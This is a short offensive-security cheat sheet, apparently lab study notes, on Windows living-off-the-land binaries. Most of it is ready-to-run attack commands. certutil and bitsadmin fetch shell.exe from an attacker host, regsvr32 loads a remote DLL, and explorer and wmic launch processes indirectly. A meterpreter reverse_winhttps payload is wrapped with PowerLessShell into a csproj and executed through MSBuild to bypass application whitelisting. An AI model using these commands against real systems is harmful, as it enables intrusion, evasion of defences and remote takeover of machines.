The Real Hugo
Husk

LOLBINS

  • LOLBAS
    • All binaries are signed by Microsoft
    • Shows paths to the binary

Ingress Tool Transfer

certutil.exe -urlcache -split -f http://%ATTACKER_IP%/shell.exe C:\Windows\Temp\noshell.exe
certutil.exe -encode shell.exe encoded-shell.txt

bitsadmin.exe /transfer /download /priority foreground http://%ATTACKER_IP%/shell.exe C:\Windows\Temp\noshell.exe
  • findstr
findstr /v dummystring  \\Path\to\shell.exe > C:\Windows\Temp\noshell.exe

Indirect Command Execution

  • Explorer as parent process to execute other PEs
explorer /root, "C:\Windows\System32\cmd.exe"
  • Windows management instrumentation
wmic.exe process call create calc
  • rundll32.exe

Bypass Whiteslists

  • regsvr32.exe can execute PEs in memory, even remotely
  • DLL has to match architecture
C:\Windows\System32\regsvr32.exe C:\Temp\shell.dll
C:\Windows\System32\regsvr32.exe /s /n /u /i:http://%ATTACKER_IP%/shell.dll shell.dll
  • bash.exe -c calc.exe

Shortcut Modification Technique

  • Execute PEs via shortcuts
  • Clone powerlessshell
  • msfvenom with windows/meterpreter/reverse_winhttps
  • Set multi/handler with set payload windows/meterpreter/reverse_winhttps
  • Transform to *.csproj 
python2 PowerLessShell.py -type powershell -source /tmp/shell.ps1 -output shell.csproj
  • Execute on target
c:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe c:\Users\thm\Desktop\shell.csproj